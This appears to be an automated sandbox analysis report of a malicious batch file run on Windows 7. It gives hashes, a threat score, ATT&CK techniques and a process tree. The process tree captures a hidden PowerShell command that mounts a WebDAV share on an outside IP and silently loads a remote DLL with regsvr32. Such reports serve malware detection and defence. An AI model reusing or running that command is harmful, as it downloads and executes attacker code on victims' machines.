bbdb00e5144617f40b197001138047239661540ed4e768d70bf0bf402be58abf

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 15:19

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General

Target

119371420991627841.bat
Size

19KB
MD5

aa059d44b5472915f9e91bce65be9a79
SHA1

55c61832ea46fd15b55b8a49794bf58b67c47528
SHA256

bbdb00e5144617f40b197001138047239661540ed4e768d70bf0bf402be58abf
SHA512

9b33e109619fa75cb860ae85479d6d799700dca45db26b13f329b73bf7dbf98dc7c018612f15069764771e27a38084476c9a1aa14ef460291848b75ccbd11ea9
SSDEEP

384:1oJl3RV5dWs+WigBHBzmekck/gmx/YZe1w4vapbAh9Wzr1aGP:GHb10MHBzmFck/zx/YAtibmuaS

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2780	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2780	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2056	wordpad.exe
2056	wordpad.exe
2056	wordpad.exe
2056	wordpad.exe
2056	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 2056	2516	cmd.exe	31
PID 2516 wrote to memory of 2056	2516	cmd.exe	31
PID 2516 wrote to memory of 2056	2516	cmd.exe	31
PID 2516 wrote to memory of 2780	2516	cmd.exe	32
PID 2516 wrote to memory of 2780	2516	cmd.exe	32
PID 2516 wrote to memory of 2780	2516	cmd.exe	32
PID 2780 wrote to memory of 2812	2780	powershell.exe	34
PID 2780 wrote to memory of 2812	2780	powershell.exe	34
PID 2780 wrote to memory of 2812	2780	powershell.exe	34
PID 2780 wrote to memory of 2744	2780	powershell.exe	35
PID 2780 wrote to memory of 2744	2780	powershell.exe	35
PID 2780 wrote to memory of 2744	2780	powershell.exe	35
PID 2780 wrote to memory of 2744	2780	powershell.exe	35
PID 2780 wrote to memory of 2744	2780	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\119371420991627841.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2812
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\219162541119066.dll
    3⤵
    PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2780-23-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2780-24-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download